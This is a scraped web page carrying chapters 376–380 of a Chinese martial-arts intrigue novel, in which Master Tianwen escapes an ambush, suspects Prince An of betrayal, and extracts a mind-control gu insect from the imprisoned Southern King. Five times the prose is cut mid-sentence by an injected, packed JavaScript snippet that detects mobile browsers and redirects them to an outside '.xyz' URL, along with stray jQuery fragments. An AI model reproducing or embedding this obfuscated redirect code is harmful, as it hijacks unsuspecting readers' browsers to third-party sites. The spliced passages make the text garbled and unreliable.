从他们站着的地方看过去,已经隐隐约约能看到那间祠堂的外轮廓。 站在天问大师身后的影卫叫影山,他一脸的面无表情,闻言只微微躬下身子。 “王爷要事缠身,得不出空,此番是小的将人押来,只等大师收下。” 安王身边的人都是这般无波无澜的态度,天问大师早该习惯。 可不知道是不是被刚才德慧的态度影响,这会儿看着站在自己面前,不卑不亢的影山,天问大师抿了抿唇,忽然感到一阵不快。 不过是一个奴才罢了,竟然也这样跟他说话? “大师?请吧?” 见天问大师站在原地没动,影山又低声催促起来。 这语气就更是不见半分恭敬了。 “你算什么?也敢这样对我师父无礼!” 德慧小和尚斜晲了一眼师父的脸色,上前一步怒吼,“你这放肆的狗奴才!小心我让人砍了你的脑袋!” 影山眉头一皱,抬眼看向德惠的时候,周身似乎有冷意涌现。 “德慧,不得无礼。” 天问大师毫无怪罪之意地训斥了一句,便又笑着朝影山看了过去。 “徒儿顽劣,见笑了,不过我这徒儿年龄尚小,此番攀山越岭,早已体力不支,剩下这段路,恐怕得劳烦侍卫一程,将他背过去。” “就是!” 刚刚忤逆了师父一回,德慧小和尚有心弥补,立刻挺直了腰杆点头。 “我走不动了,脚疼得很,你背着我过去,这样快一点!” 转了转眼珠子,他又哼了一声。 “谁让你们选在这鸟不拉屎的地方,难走得要命,还敢嫌我们慢&……” 他没压低声音,不满的嘟哝让旁边两人都能听见。 天问大师这会儿却老神在在地站着,眼神坦率,目视前方,好像根本就没有听见自己的徒儿在说什么。 影山见状,眉头又皱紧了两分。 他是安王身边的贴身影卫,对主子的事情最是了解。 这天问大师又要人又要好处,现在还要拿乔,真是不成体统! 不过,顿了顿,影山还是沉默着上前,在德慧小和尚面前单膝蹲下。 他将人背起来,接下来的几步路就快得多了,不出片刻,三人便在祠堂外停下了脚步。 房门早已经形同虚设,站在院中,天问大师一眼便看到了被绑住双手挂在房梁上的影四。 影四浑身是伤,昏迷不醒,一动不动地耷拉着脑袋。 若不是他身子微微的起伏,已经看不出这是个活人。 “大师,请吧?” 把德慧小和尚往地上一放,影山抬手朝屋中做了个手势。 天问大师顿了顿,脚下没动,倒是转过了脑袋。 “影山侍卫不同贫僧一起进去吗?”他微微含着笑看了过去。 影山还是那副表情欠奉的模样,朝着天问大师一拱手。 “小的还要替安王办另外一件差事,确定人送到大师手中就好。” “大师若是没有其他事情,那小的就要离开了。” 依旧躬着身子说话,影山的语气里却带上了淡淡的不耐。 天问大师默了一瞬,还是点了点头。 “替贫僧多谢安王。” “自然——” 影山的一句话还没说完,林中忽然传来一声破空之响,紧接着,一柄袖箭朝着这边迎面而来! “大师小心!” 影山神情一变,拔剑出鞘,一把将袖箭砍成两截! 与此同时,更多箭矢又从四面八方射出! “先进屋!”影山挥舞着长剑抵挡箭阵,护着天问大师和德慧小和尚慌慌张张地冲进了祠堂之中! “进屋?进屋有什么用?” 熟悉的冷嘲热讽响起,天问大师眉头一皱,急急回头,将从身后刺来的长剑挡住。 岑灵川一击不中,也不气馁,翻身跃到几步开外的地方,一脚将那两扇已经摇摇欲坠的房门彻底踢成了碎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172973|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 片。 “这屋子连门都没有,你们用来关押犯人,未免有点太自信了吧?” 依旧在冷笑着,岑灵川再次飞身而起,挥剑砍断了绑缚着影四的绳索! 一声闷响,影四无知无觉地摔倒在地。 “连铁链都不用,怎么,秃驴,你穷得要卖头发了是不是?” 岑灵川大笑几声,听上去十分嚣张。 “放肆!” 影山眉头一皱便要冲上去抢人,岑灵川手中一晃,白光一闪,浓重的烟雾顿时在屋中蔓延开来。 影山被迫停下脚步,与此同时,侧方有一条软鞭朝着他直直拍了过来! 他猝不及防,只能硬生生接下,感到半个身子都在火辣辣地刺痛着。 那鞭子又钻进烟雾之中,灵活地卷起影四便要往一旁撤退。 “站住!”见状,影山咬紧牙关,追了两步却双膝一软,颓然倒下。 “这烟雾有问题……” 扭头要朝着天问大师的方向看来,动作还没做到一半,影山便双眼一翻,彻底失去了意识。 他软趴趴地倒在地上,与此同时,沉默着在墙角站了半晌的天问大师终于动了。 他宽袖一甩,卷起还愣在一旁的德慧小和尚,飞身越出祠堂,脚下轻点,跃上树梢便要离开。 “秃驴?我就猜到你会走这边。” 谢无咎懒洋洋的声音响起,天问大师的冷笑也几乎在同时合上他尾调的余韵。 “真巧,贫僧也是!” 脚下还没站稳,天问大师也反手甩出一道迷烟! “砰”地一声,迷烟炸开,天问大师毫无停顿地朝着另外的方向狂奔而去! 德慧小和尚被他夹在肋下,听着耳边呼啸的风声,不敢睁眼,也不敢乱动。 不知道过去多久,感到师父的速度慢了下来,他才战战兢兢地睁开双眼。 入目是熟悉的佛门清净地。 他们就这么回来了? “……师父?” 听到外面的动静,静颜快步走出大殿,一眼看见二人的模样,想说的话顿时哽在了喉头。 “怎么了?” 第三百七十六章 安王,有问题 德慧小和尚也抬头看去,随即又被吓了一大跳。 天问大师脸色铁青,呼吸沉重,放在身体另一侧的手正在控制不住地颤抖。 他揽着德慧的这只手也在无意识地用力,德慧小和尚感到自己的肩膀好像都快被捏断了! “师,师父……!”他咬着牙关呼痛。 听着这声音,天问大师似乎才从自己的情绪里脱离出来,怔了怔才松开了对德慧的桎梏。 德慧小和尚抱着自己受伤的肩膀,下意识地想撒个娇抱怨两句,看着天问大师可怕的脸色,到底是忍住了。 “师父,出了什么事?” 静颜这时候缓步走上前来,摆手让站在院中的僧人们全都退下,自己扶住天问大师的胳膊,压低声音问道。 天问大师深深地吸了一口气。 “你跟我进屋说话。” 他绷着脸拍了拍静颜的胳膊,随即大步往自己的房间走去。 “没有我的吩咐,任何人都不准进院!”他又撂下一句声急色厉的警告。 望着师父脚步匆匆的身影,静颜眉头微皱。 没急着跟上去,他眼风一转,在德慧面前蹲了下来。 “德慧,方才出了什么事?”他温声问道。 闻言,德慧小和尚木讷的眼神才恢复正常,他想了想,低声把影四被救走的事情说了出来。 静颜听得脸色也沉了下去,抿着嘴唇,眼底闪着不解。 “师父眼睁睁地看着那个叫影山的被放倒,也不出手,大师兄,这是为什么?” 讲完了故事,德慧揪着静颜的衣袖,眼里的光芒更是迷茫。 “影山和他们对打,师父有机会把人抢过来的,”他眉头紧皱,“还有那个谢无咎,只有他一个人拦着,师父也没跟他打。” 不战而逃,对于德慧来说,这样的事情还从来没有在他的师父身上看见过! 德慧耷拉着小脸,有些惶然,“师父怎么了?方才发生的一切……也好奇怪!” 静颜垂着眸子想了想,没做声,站起来摸了摸德慧的脑袋。 “我知道了,你先回去吧。” 这就是不打算把后续的事情告诉自己的意思了。 看着静颜大师兄转身要去师父院中,又让僧人过来把自己送回屋中的背影,德慧小和尚张口欲言,又默默地攥紧了自己的一双拳头。 他就知道,师父偏心! 天问大师座下只有他们两个徒弟,早年间大师兄闭关修炼,只有德慧跟在师父身边,便自然而然地以为自己是师父最喜欢的徒弟。 可等大师兄出关之后,德慧才发现事情的不同。 师父会让大师兄去做很多事,给他很多任务,对师父的事情,大师兄也都知道得一清二楚。 而他,虽然被师父带在身边,可师父让他办事的时候,却从来都不说来龙去脉的! 他好像只是一个干活的小孩罢了! 自从自己办砸了几件差事,师父对他的耐心就更少了,笑脸也不怎么能看到。 想到这儿,德慧又默默地打了个哆嗦。 师父刚才那句话,是不是就是说给他听的? 可他做错什么了,他自己都不知道! 大师兄的背影已经消失不见,几个僧人小心翼翼地赶来,蹲在德慧身边,小声地哄着他回屋去休息。 这模样,活脱脱就是把他当一个什么事情都不懂的小傻子在糊弄! 眼眶发热,德慧恶狠狠地咬牙忍住,一跺脚,头也不回地朝着自己的房间跑去! 都看不起他! 讨厌! —— “师父、” 另一边,静颜屏退众人,独自来到天问大师屋中。 这个时候,天问大师的情绪已经不如方才那么激烈,至少脸色看上去已经和平日无异。 他静静地坐在桌边,手中不住地捻着佛珠,那微微混乱的动作倒是多少泄露出了几分心绪。 “师父,您没事吧?”皱了皱眉,静颜缓步上前。 “德慧安顿好了?” 天问大师不答反问,语气有些沉甸甸的。 静颜点了点头,动作忽然又有些犹豫。 “师弟看上去……情绪有些不对。” 方才虽然背对着德慧,可从他身上传来的激烈情绪,还是让静颜捕捉到了。 这 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16172974|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 个小师弟身上是什么情况,他也清楚,这会儿对上天问大师,静颜皱着眉头,不再掩饰他的担忧。 “师弟的脾气好像越来越不受控制了。” 融合了萧延的情绪之后,德慧起初还只是说话难听些,可现在已经发展到如此火爆的地步,显然超出了预计。 天问大师闻言冷冷地笑了一声。 “萧延那个小废物,身体弱得一阵风都能吹倒,也不知道是从什么地方来的这股心气。” 明明是个外来者,却能强行霸占德慧本来的身子,现在还有了愈演愈烈的架势。 “和他那个娘一样。”天问大师的声音又低了下去。 “……师父,”静颜抿了抿唇,语气有些犹疑,“叶晚竹真的是那个人吗?可为什么,为什么……” 为什么从开始到现在,他们什么问题都没有查出来? “当然!” 不知道什么地方被触动,天问大师砰地一声拍了桌子,发出一声巨大的闷响! “你怀疑我?”他皱着眉头,看向静颜的眼底满是煞气。 “徒儿不敢。” 静颜心中惊惶,连忙垂下头,又错开眼神,不敢和天问大师对视。 天问大师有观星卜卦之能,几乎从来没有出现过错漏,也是靠着这个,他们才能收集到越来越多的信徒,又和各国的王公贵族在暗中搭线。 毕竟谁不想未卜先知,抢占先机? 天问大师也会透露一些无伤大雅的内容,不过有一个秘密,连德慧也不知道。 十几年前,天问大师在一次观星中得到了一个非常重要的信息。 大梁将出现一个特殊的人,她的存在,会颠覆一切。 这四个字让天问大师兴奋又激动,他又将自己关在屋中,推算了整整七天七夜,最后锁定了这个颠覆者的特征。 一体双魂。 拥有这样特殊体质的人,是不是就能起到这个颠覆天下的作用? 可静颜看来看去,都没在那位威远王身上看出多少不同。 “先不说这件事了。”天问大师的声音这时候又响了起来。 “安王那边,恐怕有问题。” 第三百七十七章 故意为之! 天问大师长叹一声,无意深入这个话题,转开的话头却依旧透露着疲惫。 静颜回过神来,脸色又变得很差,“师父?” “今天那一出,恐怕是安王故意为之!” 说着话,天问大师闭了闭眼,面上的神情又变得冷厉了起来! “影山是安王的心腹,他办事向来稳妥,今天怎么会独自一人带着影四出现?” 还那么巧地被谢无咎的人撞了个正着! 回想着当时的画面,天问大师胸口的那团火便越烧越旺。 “他这是要过河拆桥了,不过,现在还有点早吧?”冷笑着,天问大师又敲了敲桌子。 安王没死的消息虽然已经传回了京城,可那边的反应还没传回来,叶晚竹和谢无咎这一行人也依旧在活动,这个时候就想撕破脸,实在是让他没有想到。 “我原本还想找个机会,把叶晚竹的情况透露给他,现在看来,是没必要了。” 闭上双眼,天问大师的语气很淡。 这短短的几句话,听得静颜心如擂鼓,掌心都冒出了一层薄汗。 安王是他们身后最大的一棵树,向来也是态度最好的,怎么忽然之间就要反悔? “师父,那,那咱们接下来该怎么办?” 咽了咽口水,静颜的声音无端地发紧。 天问大师闭着双眼,不动不语,好像已经入定了一般,连呼吸都没变过。 见状,静颜也不敢多说,屏息凝神地坐在一旁,努力整理着心头的一团乱麻。 “南麟。” 不知道过去多久,直到静颜和尚几乎要放弃的时候,天问大师忽然睁开了双眼。 他的语气轻飘飘的,吐出两个字,让静颜一时间有些没能反应过来。 “师父?”他侧头看去。 “南麟。” 天问大师又重复了一遍这个名字,眼中的光彩渐渐收拢了回来。 他直起身子,目光朝着王都的方向看了过去。 师父要找南疆王? 静颜这回总算是回过神来。 他们的人早已经在王都附近将恢复了神智,又躲藏起来的南疆王抓住了。 “那弟子给王都送信?” 南疆王自知对天问大师阳奉阴违,被抓后据说吓得食不下咽,夜不安寝,静颜垂下眸子请示着。 “不。” 天问大师却站起身来。 “此事重要,不能耽搁,你与我一道同去王都走一遭,现在就出发。” “现在?” 闻言,静颜又是吃了一惊,“这,这会不会……” 太仓促了? 看着天问大师投来的,冷冰冰的目光,静颜顿时住了口。 “那这边的事情怎么办?” 定了定神,静颜又想起另外一件事。 “安王要对咱们下手,定会安排人手在附近的。” 安王手下那些影卫有神出鬼没的本事,想一时间清理干净,恐怕并不是一件容易的事情。 天问大师冷笑着把佛珠扣在桌上,发出的动静仿佛敲在静颜心口,让他也跟着哆嗦了一下。 “那倒是正好。”他语气冷酷,“就让他们好好地去给主子回报,说天问大师被谢无咎使计重伤,只能缩在屋中养病好了,我想,安王殿下一定会非常高兴听到这个消息的。” —— 天问大师和静颜安排好一切便立刻启程,一昼夜之后,两人顺利来到王都。 南疆王都往日里热闹繁华,不输大梁京城,可眼下,这里似乎也跟京城一样,变得冷清破败了起来。 南疆王称病不出,将所有朝政都推到了才八岁的侄子身上。 侄子只是一个什么都不懂的幼童,坐在王位上只会啼哭不止,而今朝政已经全盘被王都的几大氏族把控。 氏族之间也互相不对付,都想夺取更大的权利,明争暗斗之间,倒霉的只有城中什么都不知道的百姓。 如今,经历了几场**,城中萧条得几乎看不出从前的模样。 面对这番景象,静颜还不免要多看两眼,天问大师则是目不斜视,脚下步履匆匆,径直朝着自己的落脚之地而去。 他虽然坐拥大量信徒,在民间颇有威望,可天问大师行事却一直 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175591|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 非常低调。 他不曾让人修建寺庙佛堂,更没有大动干戈地准备府邸,只住在一间再普通不过的宅院里。 不过这其中暗藏的玄机,便不是外人能知道的了。 进了院子,天问大师径直一路向前,在后花园通往地下暗室的密道前停住了脚步。 “徒儿在这里守着。”不用他多说,静颜便恭恭敬敬地低下了头。 暗道的门在头顶合拢,最初的黑暗过后,天问大师循着台阶向下,很快便停留在一间刑房之外。 这暗室里安静得吓人,连一点儿声音都没有。 天问大师开门的动静便显得尤为突出,甚至能激起道道回音。 “谁?”一个沙哑的声音顿时从牢房门后传了出来,带着满满的恐慌。 “王上,好久不见啊。” 天问大师手上的动作没有半分迟缓,走进牢房之中,顺手点亮了一个火折子。 这个暗室比起外面的通道来说更加昏暗,连牢门都是石头做的,几乎一点儿光亮都照不进来。 地上铺着一层干草,除此之外别无他物。 角落里正坐着一个人影,用力地蜷缩起自己的身体,捂着眼睛,十分难以承受这突如其来的亮光。 天问大师又上前两步,在南疆王南麟的面前蹲了下来。 “王上,这段时间,您过得好吗?”他轻声发问。 南疆王是个四十岁左右的中年男子,他身形瘦削,眼下更是显得形销骨立,几乎瘦到了可怕的地步。 他身上没有血迹,没有伤痕,没有半点被折磨过的痕迹。 可这会儿,听着天问大师的声音,再缓缓抬头看着出现在自己面前的这个人,南疆王神情涣散,仿佛压根就不知道天问大师是来干什么的。 天问大师也不急,静静地蹲着等待。 自从被抓,这位就一直被一个人关在这暗室之中,独自待了这么久,恐怕脑子都不会转了。 是得给他一点儿反应的时间。 天问大师足足在心里默数了八十下,对面才传来动静。 “……你,你想干什么?” 第三百七十八章 大师!我错了! 南疆王眨着眼睛,看向天问大师的时候,神情里都是恐惧。 他被抓之后,已经不知道在这个地方呆了多长时间。 起初南疆王还一直提心吊胆着,生怕天问大师什么时候会出现问责,可他在这黑漆漆的地方一个人没日没夜地住了这么久,却一直都没有一个人来过。 他都已经认命,以为自己就要这么在这暗室里住一辈子了! 没想到,这个时候,天问大师居然来了! 咽着口水,南疆王这会儿感觉自己浑身都在哆嗦,根本就不受控制! “我想干什么?” 听着南疆王战战兢兢的问话,天问大师倒是笑了笑。 他随手把火折子放在地上,光线向上照射着他的脸,一时间又平添了几分阴森的意味。 再配上他的话,更是听得南疆王眼前一阵阵地发黑。 “我当然是对王上怎么能忽然清醒过来,又制造了那么多蛊兵,最后还全身而退,成功逃出王宫的这段传奇故事,十分好奇了。”他说。 南疆王又哆嗦了两下,身子用力往墙角挤去。 好奇? 是来索命的吧! “王上是怎么做到的?” 不等南疆王做出什么反应,天问大师忽然又上前一步。 火光变了个角度打在脸上,晃动的光线更是衬得天问大师这张脸犹如恶鬼一般。 他眼底闪动着精光,看得南疆王呼吸急促,一时间连自己身在何方都不知道了。 “王上……”天问大师缓缓抬手,又猛地一把抓住南疆王的胳膊,“事已至此,王上难道不想说些什么?” “王上的手段害得贫僧在大梁惨败,险些就丧命他乡,王上应该了解贫僧,这件事,我是不会就这么善罢甘休的。” “不想吃苦头,王上最好老实些,把一切都原原本本地说出来。” 天问大师的手指很冷,用力捏着南疆王的手腕,好像也用力捏着他的心脏似的。 南疆王的呼吸好像都变得困难起来,用力滑动喉头,眼神里是掩饰不住的畏惧和惊惶。 天问大师一动不动,就这么顶着火折子的光线和他对视,眼中无波无澜。 南疆王被他盯得很想掉眼泪! 能不能别用这个光线! 很恐怖的! 虽然身为一国之王,可这样被天问大师压制着,南疆王这会儿却生不出半分想要发怒的念头。 他还年轻的时候,是南疆的王子,天问大师从那时便出现在他身边,一点一点辅助他干掉所有竞争者,成功地让上一任南疆王,也就是他的父亲将王位传给了他。 南麟知道自己是个没多少本事的人,他就靠着天问大师的帮助,而现在……他却背叛了他。 “簌”地一声,火折子忽然熄灭,暗室里再次变成了一片漆黑的状态。 南疆王悚然一惊。 他已经在这种极致的黑暗里呆了太长时间,陡然见过光明之后,眼下便觉得重归黑暗是一件无比恐怖的事情。 手腕的力度这时候也忽然松开,南疆王又打了个哆嗦,手脚并用地朝着天问大师的方向爬了过去。 “别走!别走!我都交代,我什么都交代……” 吓得眼泪横流,鼻涕也跟着涌了出来,南疆王死死抓着天问大师的衣袖,用力到布帛被撕扯的危险声响都接连响起。 天问大师本是打算重新将火折子点燃,听着南疆王这鬼哭狼嚎的声音,倒是顿住了动作。 没人能看见的黑暗之中,他勾了勾嘴角,语气却十分冷酷。 “现在才说,王上的悔悟是不是晚了点?” “不晚,绝对不晚!” 倒吸了一口冷气,南疆王先是把脑袋摇得像拨浪鼓,随后又想起来天问大师看不到,忙一迭声地接上了他的话头。 前方静悄悄的,天问大师并未再开口,南疆王顿了顿,连忙自己继续说了下去。 “是灵美人。” 天问大师闻言眉头一挑。 南疆王口中的这位灵美人,是去年才被选到王宫侍奉的女子。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175592|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>据说她出身南疆最大的氏族宗家,自幼被送入山中学医,二十岁才回到京城生活。 灵美人的确精通医术,入宫之后替南疆王解决了不少头疼脑热的小病,她还尤其擅长按摩,在她手下,困扰南疆王多年的头疾也几乎再没复发过。 有这样的本事,再配上妖冶妩媚的一张脸,灵美人很快便成了南疆王最独宠的妃子,后宫佳丽三千,都已经被南疆王抛之脑后。 “她说,发现我状态不对劲,便替我行了一套针灸,没想到居然从体内抓出一只蛊虫……我,我……” 说着话,南疆王又哆嗦了起来。 那蛊虫是天问大师放在他体内的,却也是南疆王自己同意的。 没了天问大师的帮忙,他什么都不是,天问大师要离开南疆,他就会立刻原形毕露! 反正南疆王的位置是他的,坐着王位,还不用费脑筋思考,这样的好事,他为什么不答应? 那好梦蛊放入体内之后,宿主便会沉沉睡去,由蛊虫的主人——也就是天问大师代替他掌管一切。 南疆王怎么也没有想到,他睡得好好的,忽然醒来,便看到灵美人站在自己床边,杀**蛊虫,还跟他邀功! 想到当时那个画面,南疆王又哆嗦了一下,浑身上下的鸡皮疙瘩全都起来了! “蛊虫已经**,我不知道该怎么办,这时候,这时候国师又来了,跟我说蛊兵的事情……” 南疆和大梁不同,有蛊术这个特别的法术存在,王宫和朝廷里也不全是普通大臣,而是有专门负责蛊术的一部分职位。 国师便是其中的最高领导,在一众替朝廷办事的蛊术师眼中,这位国师大人的地位,甚至比南疆王还要高。 “国师上来就说,之前我的要求已经全都准备妥当,让我抓紧时间发兵,免得耽误了大梁那边的正事。” 南疆王的嘴唇哆嗦得越发厉害,“我以为,我以为那是大师先前留下的打算,就全都答应了下来,没想到……” “没想到他们两个居然是一伙儿的!” 第三百七十九章 能放大欲念的蛊术 听到这儿,天问大师已经全都明白了。 国师和灵美人一起设了个局,故意让南疆王钻进了圈套,灵美人恐怕从一开始,就是国师那边的人、 他闭了闭眼。 南疆看似是****,实则在上一任南疆王还在任的时候,蛊术师那边就已经有些不甘心做低伏小了。 眼下又经过南麟统治的这十几年,虽然天问大师一直从旁插手,但他要隐于幕后,不便现身,倒是没办法正大光明地对蛊术师们做些什么。 况且……天问大师也很需要这些蛊术师手里的东西。 他有意装聋作哑,南麟又绝对不是国师的对手,看来,这些年让他们的野心发展得更加蓬勃。 “然后呢?”天问大师又低下头去,“你跑什么?为何不想办法给贫僧传信?” 按照南疆王这样的说法,他是被蒙骗的那一个,如此说来,大梁那边的消息传回南疆,他就该知道是怎么回事。 可南疆王却没有想办法补救,而是逃跑了。 天问大师的表情又变得阴沉几分。 他定定地望着南疆王的双眼,看着后者一双眼珠子转来转去,脸上写满了心虚,天问大师半晌才慢悠悠地笑了一声。 “权力真的是个好东西,谁握在手里,都不舍得再放开。” 南疆王的眼神闪躲得更加厉害,眼皮也跟着跳个不停。 南麟这个南疆王一直有名无实,朝堂上有天问大师出谋划策,蛊术师那边的情况有国师,也完全不用他担心。 就算是他后宫里的美人多了一些,也有贤惠能干的王后在打理。 总而言之,一切的一切,都完全不用他来操心! 从好的方面来看是这样的,可从坏的一面看来,南麟本人晃晃悠悠地活了四十年,浑身上下竟然没有一点儿称得上是有用的地方! 他就像一片叶子,被人从树上揪下来,又叠成船放进河里,人要让他去哪儿,水流又要让他去哪儿,全都不需要这片叶子自己控制。 若不是这次意外的苏醒,南麟压根就不知道,原来他说话也是有人会认真听从,原来他的意见也是会被记录下来,再严格执行的! 实话说,这种感觉,的确令人着迷! 可这话万万不能说出口,尤其是当着天问大师的面儿! 眼睛这个时候已经基本适应了黑暗,南疆王咕噜噜地转动着眼珠子,从各个方向避开天问大师投来的目光。 可惜,没用。 下一刻,一只手死死扼住了南疆王的脖颈,力度之大,让他清清楚楚地听见自己的骨头发出了一声清脆的响动! “嗷!” 剧痛猛地袭上,南疆王不用看也知道自己的脸色肯定变得惨白,冷汗也像瀑布一样哗哗地全都流了下来! “我……咯咯……” 挣扎着想说话,南疆王却只能发出一些微小的声音。 他的脖子好疼! 呼吸也变成了做梦! 他不会就这么**吧? 一声轻响,暗室里重见光明,天问大师的脸就这么霍然出现在南疆王面前! 他脸色铁青,眼底带着愠怒,瞪着南疆王这张近在咫尺的脸,仿佛随时都能把他的脑袋整个儿拧断下来。 南疆王刚还沉浸于大权在握的心情顿时全都冷却了,仿佛被一盆冰水当头浇下。 这位天问大师有什么样的本事,南疆王扪心自问,虽然合作了这么多年,但他还是不敢说自己完全都摸清了。 可他展现出来的这些部分,便已经足够危险,足够慑人! 有这么一位在身边,他是怎么觉得自己能赢的? 南疆王又狠狠地打了个激灵,满脑子的美梦全都醒了! 他为什么会觉得自己单打独斗,也能干出一番大事业? 自己有几斤几两,他什么时候忘得一干二净了? 这,这好像不对劲吧…… 越想越慌,南疆王顾不上脖颈间传来的,持续不断的疼痛,奋力转动脑袋,朝着天问大师看了过去。 “有,有……” 抬起一条麻木的胳膊,南疆王夸张地咧开嘴,一字一顿地对着口型。 有、问、题! 他指着自己的太阳穴,转 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16175593|167772||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着眼珠子的神情更加惊惶。 他的脑袋里肯定有问题! 不然的话,怎么会生出这种可怕的念头? 看着南疆王龇牙咧嘴,神情扭曲的模样,天问大师手下的动作也不禁顿了顿。 南麟的为人他也算是有所了解的,或许能真的因为权力而迷失,可却做不到表演得如此天衣无缝。 这位一心虚,表情马上就能暴露一些。 心念一转,天问大师空着的手一翻,从怀中摸出一个小瓷瓶。 他单手打开,里面是暗红的膏脂,一股难以言说的味道不断散发出来。 南疆王先是呼吸一窒,还没来得及再有什么反应,表情又忽然变了。 他双眼失去神采,空洞地向上半翻着白眼,全身也跟着放松下来,好像对脖颈上的力度失去了感知似的。 见状,天问大师更是确认了自己的猜测。 他将那小瓷瓶放到南疆王鼻子下面,静待片刻,一只通体漆黑,背壳还带着油亮光芒的小虫子试探着从南疆王的鼻孔里伸出了头顶的触须。 果然。 是蛊虫。 国师和灵美人学着天问大师的手法,给南疆王也下了一蛊! 看着证据出现,天问大师的表情倒是变好了不少,眉头也缓缓展开了。 他专心致志地用那瓷瓶里的膏脂将蛊虫引了出来,蛊虫彻底落入瓶中,刚吃了一口膏脂,便全身抽搐,不出片刻就丧了命。 与此同时,南疆王猛地倒吸了一口长气,一个鲤鱼打挺重新坐了起来! 刚才发生的事情,他显然还有印象,这会儿看着天问大师手里的瓷瓶,南疆王面上神情飞快地变幻着。 “这是心念蛊。” 天问大师冷静的声音一出,南疆王刚放回肚子里的心,顿时又提了起来! 他将灵美人引为知己,说了多少知心话,又放了多少厥词,南疆王自己都数不清! 天问大师再说话的时候,声音就有些冷了。 “这蛊术是为了放大人心中的欲念,王上,看来你还是有所求,这才被抓住了把柄啊。” 第三百八十章 装模作样 “我……我……” 浑身哆嗦着,不知道该说什么才好,南疆王双膝一软,噗通一声就朝着天问大师直挺挺地跪了下去! “是,都是我不好!” 蛊虫**死后,脖颈的疼痛便重新袭了上来,南疆王这会儿心里又慌又怕,根本不知道该怎么做才好。 “是我眼瞎,没看出灵美人的问题,更没发现她和国师的阴谋!酿成了大祸,都是因为我!” 跪在地上呜呜咽咽地哭嚎着,南疆王的声音里满是惊惶不安,还有对捅下娄子的懊悔。 不过还就是没有一点儿不甘。 天问大师不动声色地听着南疆王的忏悔,心里倒是默默地松了一口气。 他能拿捏南麟这么长时间,还拿捏得这么彻底,除了自己的手段,也有一部分原因在于南麟是心甘情愿被拿捏的。 南麟胸无大志,只要让他享受生活,其他的,一切都无关紧要。 得知他脱离控制的时候,天问大师的心是慌乱的,可眼下,看着南麟这和从前一般无二的模样,他又恢复了几分往日的淡定。 这样也好,闹了一场,将灵美人和国师抓了出来,他清理起来也能方便一些。 思忖片刻,他正要开口,火折子忽然又灭了。 折腾了这么长时间,一个火折子也差不多该烧完了,天问大师默不作声地弯下腰,准备换一个点上。 也就是在这个时候,黑暗中,天问大师看到南疆王忽然抬起眼皮,极快地朝着自己这个方向看了一眼。 黑暗对天问大师来说什么影响都没有,他的目力依然和有光的时候一样清晰。 南疆王那一眼直勾勾地落入他眼底。 心虚,恐慌,还带着一丝绞尽脑汁的算计。 这种表情天问大师见过很多,敢在他面前自作聪明的蠢材,大多都露出过这般模样。 眼下这个表情突然出现在南疆王脸上,天问大师的手忽然一顿。 他默不作声地看着。 南疆王显然看不见天问大师,他的目光越发鬼鬼祟祟,用力眨着眼睛,又很快转回脑袋,在地上“邦邦”地磕起了头。 “大师……都怪我,我不应该给灵美人机会!” “我坏了好事,我蠢,我笨!” “我不该酒后失态,胡言乱语,这才被抓住了把柄……” 胡乱承认着罪过,又不住地呜咽着,南疆王的声音听起来十分老实,还真心实意地在后悔。 天问大师闭上双眼,听着耳边的声音,半晌才重新将火折子点亮。 “大师……” 循着光亮抬起头,南疆王一脸诚惶诚恐。 天问大师凝神看去。 